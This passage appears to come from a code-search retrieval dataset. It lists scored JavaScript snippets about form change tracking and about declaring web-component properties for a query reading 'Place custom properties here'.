material.attributes[ a ].needsUpdate ) return true;\n\n\t\t}\n\n\t\treturn false;\n\n\t}", "title": "" }, { "docid": "5c841914e47575b88afdd946caf57720", "score": "0.5549024", "text": "get modified() {\n\t\treturn this.__modified;\n\t}", "title": "" }, { "docid": "704e090c11ac44c7d7ff4796ed6bc0f9", "score": "0.5548291", "text": "function validateForm() {\n if(el.title.value && el.pages.value && el.author.value) {\n return true;\n } else {\n return false;\n }\n}", "title": "" }, { "docid": "ba3a3b1d6596187a7dc88f8c43cad345", "score": "0.55464786", "text": "isChanged() {\n return this.getOutput().changes.length > 0\n }", "title": "" }, { "docid": "985a7e688ced1105a795ff00e441e17c", "score": "0.5529968", "text": "function formAttachmentUpdate() {\n \t$j('#tool_label',editelem).text( $j('#editbox_options_label').val() );\n\n\tif ( $j('#editbox_options_set_as_title_checkbox').prop('checked') ) {\n\t\tclearSetAsTitle();\n\t\t$j('#set_as_title', editelem).text('Yes');\n\t} else {\n\t\t$j('#set_as_title', editelem).text('No');\n\t}\n\n \tif ( $j('#editbox_options_required_checkbox').prop('checked') ) {\n\t\t$j('#tool_is_required', editelem).text('Yes');\n\t\t$j('#tool_label', editelem).addClass('tool_is_required');\n\t} else {\n\t\t$j('#tool_is_required', editelem).text('No');\n\t\t$j('#tool_label', editelem).removeClass('tool_is_required');\n \t}\n \t$j(editelem).removeClass('_form_element_notset');\n }", "title": "" }, { "docid": "f91af5850fb3cd6d4a19873b2b1f3821", "score": "0.55298144", "text": "isEditMode() {\n return !isEmpty(this.prjAddAgreementId)\n }", "title": "" }, { "docid": "b4f48ad56f050184c69fd7f916a0a3cf", "score": "0.5528354", "text": "function fieldsChanged(event) {\n\tif (form_) {\n\t\tsetWidgetStates(form_, true);\n\t}\n}", "title": "" }, { "docid": "8d8ca92a5c5224cf8d793f3078349e02", "score": "0.55274636", "text": "function checkFormIntegrityUser() {\n\n return true;\n}", "title": "" }, { "docid": "77d863e727157e4b9f6d38547015edf0", "score": "0.5514994", "text": "function pendingChanges(bFromPopup)\n{\n\t// Fix for FR # 12-P2969B\n if (bFromPopup)\n return (Top().bCurrentPopupModified && \n (typeof(Top().popupAppletWithChanges) != \"undefined\" && Top().popupAppletWithChanges.length > 0));\n // End of Fix #12-P2969B\n \n // If comes here means user operation is from main view\n\n // In NS, ResetPopupDataLossWarningVars() won't be triggered when popup is closed by X button,\n // so we need to check that the popup is open before we use generate warning for it.\n // There is no need to check for HI app like in stopForSavingData() because HI popups are modal, \n // i.e. if it comes here means popups are already closed.\n\n // Fix for FR # 12-1PBEKY6. Used bCurrentPopupModified flag to make sure that\n // the pending changes is for the current popup applet and not for any parent frame.\n if (IsSWEPopupOpen() && Top().bCurrentPopupModified && \n typeof(Top().popupAppletWithChanges) != \"undefined\" && Top().popupAppletWithChanges.length > 0) \n return true;\n\n if (typeof(Top().activeAppletWithChanges) != \"undefined\" && Top().activeAppletWithChanges.length > 0)\n return true;\n\n return false;\n}", "title": "" }, { "docid": "5cc34037a17ca1c293d16965268747bb", "score": "0.5514247", "text": "isDirty() {\n return this.dirty;\n }", "title": "" }, { "docid": "bcf6a87e3aa2e7f456253d03c4a649e1", "score": "0.55131805", "text": "isEditMode() {\n return !isEmpty(this.prgParticipantId)\n }", "title": "" }, { "docid": "5d18a027d73f01db4e109cf1766193c1", "score": "0.54945743", "text": "function listenForm(strFormId, elmButton) {\r\n jQuery('#' + strFormId + ' input, #' + strFormId + ' textarea, #' + strFormId + ' select').each(function () {\r\n jQuery(this).change(function () {\r\n jQuery(function (e) {\r\n \tjQuery('#frm_SaveBtn').removeClass('disabled');\r\n \tjQuery('#frm_SaveBtn').addClass('btn-save');\r\n })\r\n });\r\n });\r\n\r\n jQuery('.redactor-editor').bind(\"DOMSubtreeModified\", function () {\r\n \tjQuery('#frm_SaveBtn').removeClass('disabled');\r\n \tjQuery('#frm_SaveBtn').addClass('btn-save');\r\n });\r\n}", "title": "" } ]
f18c8bf19f333b9274c7cec94e2c0323
Place custom properties here
[ { "docid": "fdf6f6db3e68526e3fd9aa23a409d274", "score": "0.0", "text": "function ValueAxisComponent(configurationService, collectionService) {\n\t _super.call(this, configurationService, collectionService);\n\t this.configurationService = configurationService;\n\t this.collectionService = collectionService;\n\t }", "title": "" } ]
[ { "docid": "a03fd43df4a9b06f0f2a5ccd5837b79f", "score": "0.67331415", "text": "static get properties() {\n return {\n ...super.properties,\n\n title: {\n name: \"title\",\n type: String,\n value: \"\",\n reflectToAttribute: false,\n observer: false,\n },\n description: {\n name: \"description\",\n type: String,\n value: \"\",\n reflectToAttribute: false,\n observer: false,\n },\n };\n }", "title": "" }, { "docid": "339fc7c9fb5db0c8dc62c0f16de32775", "score": "0.66263425", "text": "static get properties() {\n return {\n ...super.properties,\n };\n }", "title": "" }, { "docid": "a92354ba56d3374d46ee1743253ae2cb", "score": "0.6621168", "text": "static get properties(){return{}}", "title": "" }, { "docid": "fe2a32f6cf436411835dd64cccc9c1ae", "score": "0.65864", "text": "static get properties() {\n return {\n color: {\n attribute: \"color\",\n type: String,\n },\n };\n }", "title": "" }, { "docid": "fe2a32f6cf436411835dd64cccc9c1ae", "score": "0.65864", "text": "static get properties() {\n return {\n color: {\n attribute: \"color\",\n type: String,\n },\n };\n }", "title": "" }, { "docid": "6175bae617c191556254f13020a3d936", "score": "0.64978033", "text": "static get properties() {\n return {\n ...super.properties,\n\n // Set to true to show a copy to clipboard button.\n copyClipboardButton: {\n type: Boolean,\n attribute: \"copy-clipboard-button\",\n },\n // Tagged template literal with custom styles.\n // Only supported in Shadow DOM.\n theme: {\n type: Object,\n },\n // Code type (optional). (eg.: html, js, css)\n // Options are the same as the available classes for `<code>` tag using highlight.js\n type: {\n type: String,\n reflect: true,\n },\n highlightStart: {\n type: Number,\n reflect: true,\n attribute: \"highlight-start\",\n },\n highlightEnd: {\n type: Number,\n reflect: true,\n attribute: \"highlight-end\",\n },\n };\n }", "title": "" }, { "docid": "b65c24933224176592a5fb8842e9b8bb", "score": "0.64795035", "text": "loadOwnProperties(){\r\n\t\tvar self=this;\r\n\t\tself.autoAddPostHtml=true;\r\n\t}", "title": "" }, { "docid": "cf85aff5896552ab337698335b380291", "score": "0.646641", "text": "static getCustomProperties() {\n\t\treturn [\n\t\t\t'role',\t\t\t\t\t// In demo mode this parameter has value 'demoMode'\n\t\t\t'alias',\n 'body-type',\t\t\t// The type of gauge body\n 'body-radius',\t\t\t// Absolute value, describes the size of gauge widget\n 'body-border-width',\t// all othe sizes are in percentage to body radius\n 'body-border-color',\n 'body-fill-color',\n 'body-fill-gradient',\n\t\t\t'body-opacity',\n\t\t\t'body-shadow',\n\n 'center-type',\n 'center-radius',\n 'center-border-width',\n 'center-border-color',\n 'center-fill-color',\n 'center-fill-gradient',\n\t\t\t'center-opacity',\n\t\t\t'center-shadow',\n\n\t\t\t'dial-type',\n\t\t\t'dial-radius',\n\t\t\t'dial-border-width',\n\t\t\t'dial-border-color',\n\t\t\t'dial-fill-color',\n\t\t\t'dial-fill-patern',\n\t\t\t'dial-opacity',\n\n\t\t\t'pointer-type',\t\t\t// 'dauphine', 'baton', 'alfa', 'sword', 'brequet', 'simple', 'skeleton', 'circle', 'zwatch'\n 'pointer-radius',\n 'pointer-border-width',\n 'pointer-border-color',\n 'pointer-fill-color',\n\t\t\t'pointer-opacity',\n\t\t\t'pointer-width',\n\t\t\t'pointer-shadow',\n\n\t\t\t'scale-start-angle',\n\t\t\t'scale-end-angle',\t\t\t// '0'\n\t\t\t'scale-rotation',\t\t\t// angle\n\t\t\t'scale-direction',\t\t\t// '+' - clockwise, '-' - counterclockwise\n\n\t\t\t'major-type',\n\t\t\t'major-weight',\n\t\t\t'major-radius',\n\t\t\t'major-length',\n\t\t\t'major-border-width',\n\t\t\t'major-border-color',\n\t\t\t'major-fill-color',\n\t\t\t'major-opacity',\n\t\t\t'major-text-size',\n\t\t\t'major-text-offset',\n\n\t\t\t'minor-type',\n\t\t\t'minor-weight',\n\t\t\t'minor-radius',\n\t\t\t'minor-length',\n\t\t\t'minor-border-width',\n\t\t\t'minor-border-color',\n\t\t\t'minor-fill-color',\n\t\t\t'minor-opacity',\n\n\t\t\t'threshold-type',\n\t\t\t'threshold-radius',\n\t\t\t'threshold-length',\n\t\t\t'threshold-border-width',\n\t\t\t'threshold-border-color',\n\t\t\t'threshold-fill-color',\n\t\t\t'threshold-opacity',\n\n 'width', 'height',\t// the size of gauge may be specified by this parameters\n\n\t\t\t'position',\t\t\t// The value describes location of tooltip or legend window Default value is 'rt' which means right-top conner of element.\n\t\t\t'ttip-template',\t// Default value for this property is 'pie', wich means the using of internal SmartTooltip pie template definition.\n\t\t\t\t\t\t\t\t// Currently only 4 types of templates are implemented: 'pie', 'simple', 'image' and 'iframe'.\n\t\t\t'ttip-type',\t\t// Use own (limited) settings for the tooltip or use the SmartToolip global (full) settings.\n\t\t\t\t\t\t\t\t// Possible values are: 'own' and 'global'. Default is 'own'.\n\t\t\t'title-format',\n\t\t\t'descr-format',\n\n 'max-value',\t\t// the maximum value. If 0 then 100% is a maximum.\n\t\t\t'is-animate',\t\t// Allows to animate the moment of receiving the data array.\n\t\t\t'is-link',\t\t\t// Allows to disable going to the link by ckick on the sector. Used in example. The default is 1\n\t\t\t'is-tooltip',\t\t// Allows internal dispetching of smarttooltip next to the mouse pointer.\n\t\t\t'is-emulate',\t\t// Allows automatic emulation of the process of data receiving.\n\t\t\t'is-run',\t\t\t// Starts the internal mechanism of sending requests to the server, if there are parameters: “server”, “target”, “user”\n\t\t\t'interval',\t\t\t// Determines the interval of sending requests to the server in seconds (if the value is less than 2000)\n\t\t\t\t\t\t\t\t// or in milliseconds (if the value is greater than 1999)\n 'server',\n 'target',\n 'user',\t\t\t\t// These parameters determine the URL of the request to the server\n\n\t\t\t'color-rule',\t\t// Same as 'value-rule', but set color only, not use the value at all.\n\t\t\t\t\t\t\t\t// contains an array of parts of gauge: 'bb', 'bf', 'cb', 'cf', 'pb', 'pf', 'db', 'df', where each one value is an abreviature of\n\t\t\t\t\t\t\t\t// part, for example: 'bb' is a 'body-border' and 'pf' - 'pointer-fill'\n\t\t\t'value-rule',\t\t// Specifies what will be painted when the value is drawn: line or background\n\t\t\t\t\t\t\t\t// Possible values are: 'stroke', 'fill', 'both', 'none'. Default is 'fill'.\n\t\t\t\t\t\t\t\t// The following four parameters also affect rendering.\n\t\t\t\t\t\t\t\t// The following addition rule is used: the missing parameter is drawn.\n\t\t\t\t\t\t\t\t// That is, if it is indicated that the value affects the background ('rule'='fill'),\n\t\t\t\t\t\t\t\t// then for the lines, the color of the line and the corresponding flag are used.\n\t\t\t\t\t\t\t\t// Conversely, if the value affects the line ('rule'='stroke'),\n\t\t\t\t\t\t\t\t// then the corresponding color and flag are used to fill the background.\n\t\t\t\t\t\t\t\t// In the case of 'rule'='both', additional parameters are not used.\n\n\t\t\t'var-font-family',\t// Scale font definitions\n\t\t\t'var-font-stretch'\n\t\t\t// ATTENTION: all future additional parameters must to be placed only after this comment!\n ];\n }", "title": "" }, { "docid": "8058255b40f39ae7fff3697f7ffe79ad", "score": "0.646365", "text": "static get properties(){let props={source:{name:\"source\",type:\"String\",value:\"\",reflectToAttribute:!1,observer:!1}};if(super.properties){props=Object.assign(props,super.properties)}return props}", "title": "" }, { "docid": "0f794be2785b6e2545b1639433b42be5", "score": "0.64636195", "text": "static get properties() {\n return {\n ...SimpleColors.properties,\n ...AccentCard.properties,\n };\n }", "title": "" }, { "docid": "5bb5b2a6c12ad9794f497e66ed612900", "score": "0.64457124", "text": "static get properties() {\n return {\n title: { type: String },\n status: { type: String, reflect:true },\n dialog: { type: Boolean }\n //reflect = true == json object -- fancy, allows this property to be used as an attribute so you can assign CSS to it\n };\n }", "title": "" }, { "docid": "c808a1f72df9589ff7abe651a003ce96", "score": "0.64212865", "text": "static get properties() {\n return {\n label: { type: String, reflect: true },\n primary: { type: Boolean },\n size: { type: String },\n backgroundColor: { type: String, attribute: 'background-color' },\n };\n }", "title": "" }, { "docid": "7d30491ca0216507dd72ae0bcf5ca46c", "score": "0.6416361", "text": "assignProperties() {\n this.assignComponentProperties(this.properties, [\n 'name',\n 'value',\n 'required',\n 'readOnly',\n 'disabled',\n 'draggable',\n 'selectable'\n ]);\n }", "title": "" }, { "docid": "557d93fbaf8cd380088558417977d5e6", "score": "0.6388192", "text": "setProperties()\n {\n this.props = this.observe({\n titleprops: this.getAttribute('titleprops'),\n urlprops: this.getAttribute('urlprops')\n })\n }", "title": "" }, { "docid": "a34b016b6bde7eb0963fd5ccc75e82c6", "score": "0.6370548", "text": "static get properties() {\n\t\treturn {\n\t\t\trole: { type: String, reflect: true },\n\t\t\t\"aria-level\": { type: Number, reflect: true },\n\t\t\t\"aria-hidden\": { type: String, reflect: true }\n\t\t};\n\t}", "title": "" }, { "docid": "63dc98848df9b8fded7df4705baf201c", "score": "0.6336483", "text": "static get properties() {\n return {\n id: {\n attribute: \"mapid\",\n },\n derivation: {\n attribute: \"derivation\",\n type: String,\n },\n };\n }", "title": "" }, { "docid": "a83f65fe0fa5fa867f593d808288c8c0", "score": "0.6318511", "text": "static get properties() {\n return { ...super.properties };\n }", "title": "" }, { "docid": "a83f65fe0fa5fa867f593d808288c8c0", "score": "0.6318511", "text": "static get properties() {\n return { ...super.properties };\n }", "title": "" }, { "docid": "5801a0b019f57bcbc9dfc798c4e9a289", "score": "0.628148", "text": "static get properties() {\n let props = {};\n if (super.properties) {\n props = Object.assign(props, super.properties);\n }\n return props;\n }", "title": "" }, { "docid": "2ccb6a0598a1dd48e2562d494c55ab40", "score": "0.62654525", "text": "static get properties() {\n return {\n };\n }", "title": "" }, { "docid": "ba18674b25a3b33da7f2d74d91dfe357", "score": "0.6234155", "text": "getProperties() {\n\t\tlet prop=super.getProperties();\n\t\treturn Object.assign(prop,{\n\t\t\tname: this.getName()\n\t\t});\n\t}", "title": "" }, { "docid": "5fec251d242f568c6db96c86a78d2e6c", "score": "0.62339467", "text": "static get properties() {\n return { ...super.properties,\n src: {\n type: String\n },\n noColorize: {\n type: Boolean,\n attribute: \"no-colorize\"\n },\n icon: {\n type: String,\n reflect: true\n }\n };\n }", "title": "" }, { "docid": "b5e22d1e36e74cebe439be0f40ab9015", "score": "0.62335986", "text": "static get properties() {\n return {\n // ...super.properties,\n cssClass: { type: String },\n currentValue: { type: Number },\n minValue: { type: Number },\n maxValue: { type: Number },\n // Up & Down arrow key support\n udKeys: { type: Boolean },\n // Left & Right arrow key support\n lrKeys: { type: Boolean }\n };\n }", "title": "" }, { "docid": "d7428b487c69ae4385b0ff8708fd8614", "score": "0.6205362", "text": "get properties() {\n\t\treturn [\"addNewButton\",\"allowDrag\",\"animation\",\"cardHeight\",\"cellOrientation\",\"collapsible\",\"columns\",\"coverField\",\"coverMode\",\"dataSource\",\"editable\",\"headerPosition\",\"locale\",\"messages\",\"scrolling\",\"titleField\"];\n\t}", "title": "" }, { "docid": "ae4aff250b28d92000bb1aa1ff480c6a", "score": "0.6192017", "text": "static get properties() {\n return {\n map: Object,\n icons: Object,\n addedObjectives: {\n type: Array,\n notify: true,\n value: []\n },\n objectives: Array,\n mapData: Array,\n active: {\n type: Boolean,\n value: false\n },\n hidden: Boolean\n };\n }", "title": "" }, { "docid": "b143dc081c9bfeeaa50ce427e9fad463", "score": "0.616903", "text": "get properties() {\n return _telemetry_js__WEBPACK_IMPORTED_MODULE_10__[\"tag\"].configure(Object(_sharepointqueryable_js__WEBPACK_IMPORTED_MODULE_2__[\"SharePointQueryableInstance\"])(this, \"properties\"), \"f.properties\");\n }", "title": "" }, { "docid": "9c20c85c92db512a926df026b968ae4f", "score": "0.61689895", "text": "static get properties() {\n let props = {\n appStore: {\n name: \"appStore\",\n type: String,\n value: \"\"\n }\n };\n if (super.properties) {\n props = Object.assign(props, super.properties);\n }\n return props;\n }", "title": "" }, { "docid": "6c63bc6f4f16c730f2aaa0e1b64f8f9a", "score": "0.6162429", "text": "static get properties(){\n return {\n adjective: String,\n level: Number\n };\n }", "title": "" }, { "docid": "fc4d095325e5db049a173d8413e37fb1", "score": "0.6147865", "text": "static get properties() {\n return {\n worlds: Array,\n matches: Array,\n ownWorld: Number\n };\n }", "title": "" }, { "docid": "f2362ab69136c093d53cdc232c70c1f7", "score": "0.61462456", "text": "static get properties() {\n return {\n leaderboard: {type: Leaderboard},\n playerFilter: {type: String},\n selectedSong: {type: Song},\n sort: {type: SortType}\n };\n }", "title": "" }, { "docid": "81088026d163d517b87fa768736cdd88", "score": "0.61241347", "text": "static get properties() {\r\n return {\r\n number: {\r\n type: Number,\r\n notify: true\r\n },\r\n AWSHost: {\r\n type: String,\r\n value: ''\r\n }\r\n };\r\n }", "title": "" }, { "docid": "0ae80911f7f87b8a4c2078d70cba26f1", "score": "0.6113076", "text": "static get properties() {\n return {\n ...super.properties,\n /**\n * assignment id to filter by assignment\n */\n assignmentFilter: {\n type: String,\n attribute: \"assignment-filter\",\n },\n /**\n * select all comments\n */\n comments: {\n type: Array,\n },\n /**\n * number of comments that will be rendered\n */\n commentLoad: {\n type: Number,\n attribute: \"comment-load\",\n },\n /**\n * display submissions as list instead of grid\n */\n list: {\n type: Boolean,\n attribute: \"list\",\n },\n /**\n * project id to filter by project\n */\n projectFilter: {\n type: String,\n attribute: \"project-filter\",\n },\n /**\n * student id to filter by student\n */\n studentFilter: {\n type: String,\n attribute: \"student-filter\",\n },\n /**\n * select all submissions\n */\n submissions: {\n type: Array,\n },\n };\n }", "title": "" }, { "docid": "154fd5c2e2cfbdd3da848a601fd0b0e3", "score": "0.6111688", "text": "static get properties() {\n return {\n ...super.properties,\n /**\n * Emoji types types to include\n */\n emojiTypes: {\n name: \"emojiTypes\",\n type: Array,\n attribute: \"emoji-types\",\n },\n };\n }", "title": "" }, { "docid": "0ff110480d267465ea80e353b898c14b", "score": "0.60970575", "text": "static get properties() {\n return {\n imageSrc: {\n type: String,\n attribute: \"image-src\",\n },\n imageAlt: {\n type: String,\n attribute: \"image-alt\",\n },\n imageAlign: {\n type: String,\n attribute: \"image-align\",\n },\n imageValign: {\n type: String,\n attribute: \"image-valign\",\n },\n horizontal: {\n type: Boolean,\n attribute: \"horizontal\",\n },\n };\n }", "title": "" }, { "docid": "3939907b16d258efc50cafbda1a5a208", "score": "0.6092618", "text": "constructor(propertyValues){\n\t super(propertyValues);\n\t \n\t}", "title": "" }, { "docid": "61032f428b534bba46e74b647f10d0f1", "score": "0.60735685", "text": "static get properties() {\n return {\n type: String,\n loadingMessage: String,\n loading: String,\n disabled: String\n };\n }", "title": "" }, { "docid": "43c0e9984cbc95cc146cdb2ee547ca37", "score": "0.6069509", "text": "static get properties() {\n name: {\n Type: String\n }\n }", "title": "" }, { "docid": "43c0e9984cbc95cc146cdb2ee547ca37", "score": "0.6069509", "text": "static get properties() {\n name: {\n Type: String\n }\n }", "title": "" }, { "docid": "43c0e9984cbc95cc146cdb2ee547ca37", "score": "0.6069509", "text": "static get properties() {\n name: {\n Type: String\n }\n }", "title": "" }, { "docid": "bf15d42bf4e9bc96bb65ac20e7e6fb91", "score": "0.6066083", "text": "static get properties() {\n return {\n name: {\n Type: String\n }\n };\n }", "title": "" }, { "docid": "6a82e62790a897e20723a14c018a2f78", "score": "0.60631484", "text": "static get properties() {\n return {\n ...super.properties,\n\n /**\n * human readable name, label, text, or title of resource\n */\n name: {\n name: \"name\",\n type: String,\n reflectToAttribute: true,\n },\n\n /**\n * optional: preferred icon for resource\n */\n icon: {\n name: \"icon\",\n type: String,\n reflectToAttribute: true,\n },\n\n /**\n * optional: preferred url for thumbnail image preview of resource\n */\n preview: {\n name: \"preview\",\n type: String,\n reflectToAttribute: true,\n },\n\n /**\n * optional: preferred resource file type\n */\n type: {\n name: \"type\",\n type: String,\n reflectToAttribute: true,\n },\n\n /**\n * url, src, id, filename or other unique value for resource\n */\n value: {\n name: \"value\",\n type: String,\n reflectToAttribute: true,\n },\n };\n }", "title": "" }, { "docid": "ef3afb658973f0228423a83bc1bf9077", "score": "0.6057125", "text": "static get properties() {\n return {\n category: {type: String},\n speed: {type: Number},\n strokeWidth: {type: Number},\n strokeColor: {type: String},\n width: {type: String},\n height: {type: String},\n key: {type: String},\n host: {type: String},\n index: {type: Number},\n animated: {type: Boolean},\n debug: {type: Boolean},\n time: {type: Number},\n paused: {type: Boolean}\n }\n }", "title": "" }, { "docid": "d94c06d6285d733c098d36e686c938bf", "score": "0.6035129", "text": "static get properties() {\n return {\n data: { type:Object }\n };\n }", "title": "" }, { "docid": "62e1fe554bedbd569dc22b6f6302e4e5", "score": "0.6020946", "text": "static get properties() {\n return {\n id: {\n attribute: 'chartid',\n type: String\n },\n title: {\n type: String\n },\n derivation: {\n attribute: 'derivation',\n type: String\n },\n seriesName: {\n attribute: 'seriesname',\n type: String\n },\n groupByProp: {\n attribute: 'groupbyprop',\n type: String\n },\n aggregateType: {\n attribute: 'aggregatetype',\n type: String\n },\n configHelper: {\n attribute: 'confighelper',\n type: String\n },\n legendDataKey: {\n attribute: 'legenddatakey',\n type: String\n }\n }\n }", "title": "" }, { "docid": "845344617aa3578498400dbf61acdfa6", "score": "0.60176855", "text": "function addCustomFeatureProperties(entity) {\n for (let i = 0; i < customProperties.length; i++) {\n if (entity.propertyNames.indexOf(customProperties[i]) === -1) {\n entity.addProperty(customProperties[i]);\n }\n }\n}", "title": "" }, { "docid": "d769423555afa325b2c41585f2747cb0", "score": "0.6012459", "text": "get properties() {\n\t\treturn [\"animation\",\"autoCloseDelay\",\"autoFocusOnMouseenter\",\"checkable\",\"checkboxes\",\"checkMode\",\"closeAction\",\"dataSource\",\"disabled\",\"displayMember\",\"dropDownAppendTo\",\"dropDownOverlay\",\"dropDownPosition\",\"items\",\"itemsMember\",\"locale\",\"localizeFormatFunction\",\"messages\",\"minimizeIconTemplate\",\"minimizeWidth\",\"mode\",\"opened\",\"overflow\",\"preventCloseOnCheck\",\"readonly\",\"rightToLeft\",\"selectionMode\",\"theme\",\"unfocusable\",\"valueMember\"];\n\t}", "title": "" }, { "docid": "c0d3a8be165e4cde56a5ba6ce4c1bc93", "score": "0.6001545", "text": "static get properties() {\n return {\n \"url\": {\n \"name\": \"url\",\n \"type\": \"String\",\n \"value\": \"\",\n \"reflectToAttribute\": false,\n \"observer\": false\n }\n}\n;\n }", "title": "" }, { "docid": "7696a0133433b35220fcfe5e9037fb9a", "score": "0.59850186", "text": "static get properties() {\n return {\n menuList: {type:Array},\n selectedCategory:{type:String},\n displayMenu:{type:String},\n userName:{type:String}\n };\n }", "title": "" }, { "docid": "0f0a1643e4fd66dd3fb04dcba5651de1", "score": "0.59845716", "text": "static get properties() {\n let props = {\n /**\n * ability to edit the items in the list\n */\n \"editMode\": {\n \"name\": \"editMode\",\n \"type\": Boolean,\n \"value\": false,\n \"notify\": true,\n \"reflectToAttribute\": true,\n \"observer\": \"_editModeChanged\"\n },\n /**\n * items array\n */\n \"items\": {\n \"name\": \"items\",\n \"type\": Array,\n \"value\": [],\n \"reflectToAttribute\": false,\n \"observer\": \"_itemsChanged\"\n },\n /**\n * Active element being worked on in the list\n */\n \"activeElement\": {\n \"name\": \"activeElement\",\n \"type\": Object\n }\n}\n;\n if (super.properties) {\n props = Object.assign(props, super.properties);\n }\n return props;\n }", "title": "" }, { "docid": "4ce70443ba9da8f9ffd41e8af87ef0a2", "score": "0.5966459", "text": "static get properties(){\n return {\n name: String\n };\n }", "title": "" }, { "docid": "b005a4cecd7fdda603da55d3f576c17f", "score": "0.59530705", "text": "_initOverrideProps() {\n const definitions = this._settings.schema.definitions;\n // workaround for 1.0.x versions of Jlab pulling in 1.1.x versions of apputils\n // TODO: delete workaround in v2.0.0\n if (definitions && definitions.cssOverrides) {\n const oSchema = definitions.cssOverrides.properties;\n // the description field of each item in the overrides schema stores a\n // CSS property that will be used to validate that override's values\n Object.keys(oSchema).forEach(key => {\n this._overrideProps[key] = oSchema[key].description;\n });\n }\n }", "title": "" }, { "docid": "f8a0615813d9997e7840e2ca3cdd2d20", "score": "0.5938081", "text": "static get properties() {\n return {\n ...super.properties,\n\n editing: {\n name: \"editing\",\n type: Boolean\n }\n };\n }", "title": "" }, { "docid": "a96254d862e5658974612d139100b032", "score": "0.592399", "text": "static get properties() {\n return {\n __title: {\n type: String\n },\n dynamicMethodology: {\n type: String\n },\n editMode: {\n type: Boolean,\n reflect: true,\n attribute: \"edit-mode\"\n }\n };\n }", "title": "" }, { "docid": "ffd9a6321948b301b72ffc99b5556242", "score": "0.59183073", "text": "static get properties() {\n return {\n ...super.properties,\n /**\n * fields for prompt popover.\n */\n fields: {\n type: Array,\n },\n /**\n * is element a custom inline widget element?\n */\n inlineWidget: {\n name: \"inlineWidget\",\n type: Boolean,\n },\n /**\n * is element a custom inline widget element?\n */\n id: {\n name: \"id\",\n type: String,\n reflect: true,\n attribute: \"id\",\n },\n /**\n * tag that will wrap selected range\n */\n tag: {\n name: \"tag\",\n type: String,\n },\n /**\n * prefilled value of prompt\n */\n value: {\n type: Object,\n },\n /**\n * prompt that pops up when button is pressed\n */\n prompt: {\n name: \"prompt\",\n type: Object,\n },\n /**\n * contents node inside selected range\n */\n __wrap: {\n name: \"__wrap\",\n type: Object,\n },\n /**\n * contents node inside selected range\n */\n __oldValue: {\n name: \"__oldValue\",\n type: Object,\n },\n };\n }", "title": "" }, { "docid": "34980286baa284ca76df46091c570edc", "score": "0.5917265", "text": "get properties() {\n\t\treturn [\"animation\",\"buttons\",\"data\",\"dataField\",\"dataSource\",\"disabled\",\"evaluateFilterExpression\",\"filterType\",\"formatString\",\"locale\",\"messages\",\"mode\",\"readonly\",\"theme\",\"unfocusable\"];\n\t}", "title": "" }, { "docid": "6de59d782dfdd3aaa7a67ecbd8b55bdd", "score": "0.588522", "text": "function addCustomerProperty(melon=\"cantaloupe\", numOfPets=0){\n customer.favmelon = melon;\n customer.numOfPets = numOfPets;\n}", "title": "" }, { "docid": "91c55d6d1a4eae01433cc38789ab52c6", "score": "0.5864423", "text": "get allProperties() {\n return _telemetry_js__WEBPACK_IMPORTED_MODULE_11__[\"tag\"].configure(this.clone(_sharepointqueryable_js__WEBPACK_IMPORTED_MODULE_3__[\"SharePointQueryableInstance\"], \"allproperties\"), \"w.allprops\");\n }", "title": "" }, { "docid": "b517e617d6c88a859bf7f6b6b6ef46fb", "score": "0.5864281", "text": "static get properties() {\n return {\n /**\n * attributes that toogle the behaviour of raised button.\n *\n * @type Boolean\n */\n raised: {\n type: Boolean,\n reflectToAttribute: true,\n value: false,\n observer: '_calculateElevation'\n },\n /**\n * attributes that toogle the behaviour of flat button.\n *\n * @type Boolean\n */\n flat : Boolean,\n };\n }", "title": "" }, { "docid": "8bc586dbe6d944ea9ced1cf72c6744a7", "score": "0.5858029", "text": "get allProperties() {\n return _telemetry_js__WEBPACK_IMPORTED_MODULE_10__.tag.configure(this.clone(_sharepointqueryable_js__WEBPACK_IMPORTED_MODULE_2__.SharePointQueryableInstance, \"allproperties\"), \"w.allprops\");\n }", "title": "" }, { "docid": "6b4af4f5959d688ed401242b8b00e85e", "score": "0.58524966", "text": "setProperties() {\n /**\n * is component background a potato?\n * @type {boolean}\n * @private\n */\n this._potatofy = false;\n\n /**\n * component message\n * @type {string}\n * @private\n */\n this._message = '~message not set~';\n\n /**\n * background colors\n * @type {string[]}\n * @private\n */\n this._bgcolors = [ 'black', 'red', 'green', 'blue', 'purple', 'olive' ];\n\n /**\n * dom elements we want to reference\n * @type {{}}\n * @private\n */\n this._dom = {};\n }", "title": "" }, { "docid": "3bcb4d2248040ee590afda326f511191", "score": "0.5832124", "text": "static get properties() {\n return {\n disabled: { type: Boolean },\n horizontal: { type: Boolean },\n error: { type: String },\n for: { type: String },\n label: { type: String },\n name: { type: String },\n type: { type: String },\n componentData: { type: Array },\n value: { type: Array }\n };\n }", "title": "" }, { "docid": "af378cd2c54b3a8f40120ba9e1e7d722", "score": "0.58293116", "text": "get properties() {\n\t\treturn [\"animation\",\"autoFitMode\",\"disabled\",\"dataSource\",\"items\",\"keepProportionsOnResize\",\"locale\",\"localizeFormatFunction\",\"messages\",\"orientation\",\"readonly\",\"resizeMode\",\"resizeStep\",\"rightToLeft\",\"liveResize\",\"theme\",\"unfocusable\"];\n\t}", "title": "" }, { "docid": "e778df7959efff3ee319b030820b5d7d", "score": "0.58264476", "text": "static get properties() {\n return {\n count: { type: Number },\n };\n }", "title": "" }, { "docid": "e862921f4152874662b0cd1d4cbbb51b", "score": "0.58166486", "text": "get properties() {\n\t\treturn [\"animation\",\"dataSource\",\"disabled\",\"displayMember\",\"dropDownAppendTo\",\"dropDownHeight\",\"dropDownMaxHeight\",\"dropDownMaxWidth\",\"dropDownMinHeight\",\"dropDownMinWidth\",\"dropDownOverlay\",\"dropDownPosition\",\"dropDownWidth\",\"hint\",\"indicator\",\"items\",\"label\",\"locale\",\"messages\",\"name\",\"opened\",\"placeholder\",\"pathFormat\",\"readonly\",\"rightToLeft\",\"theme\",\"unfocusable\",\"value\",\"valueMember\",\"wrap\"];\n\t}", "title": "" }, { "docid": "aac28ce7d6703778be6396e3aea205cd", "score": "0.5805962", "text": "static get properties() {\n return {\n id: {\n attribute: \"selectorid\",\n type: String,\n },\n };\n }", "title": "" }, { "docid": "b38e617b68a5a0e4f117c7b250ebd955", "score": "0.57940984", "text": "get properties(){\n\t\treturn Myna.getGeneralProperties();\n\t\t\t\n\t}", "title": "" }, { "docid": "fec3675c883402e559818606af8a1b95", "score": "0.57897764", "text": "static get properties() {\n return {\n msg: String\n };\n }", "title": "" }, { "docid": "e8070cc739aa17c766f9878c1c340664", "score": "0.5783425", "text": "updateProperties() {\n debugLog(`CustomVariable ${this.variable_name}: Updating variable name and 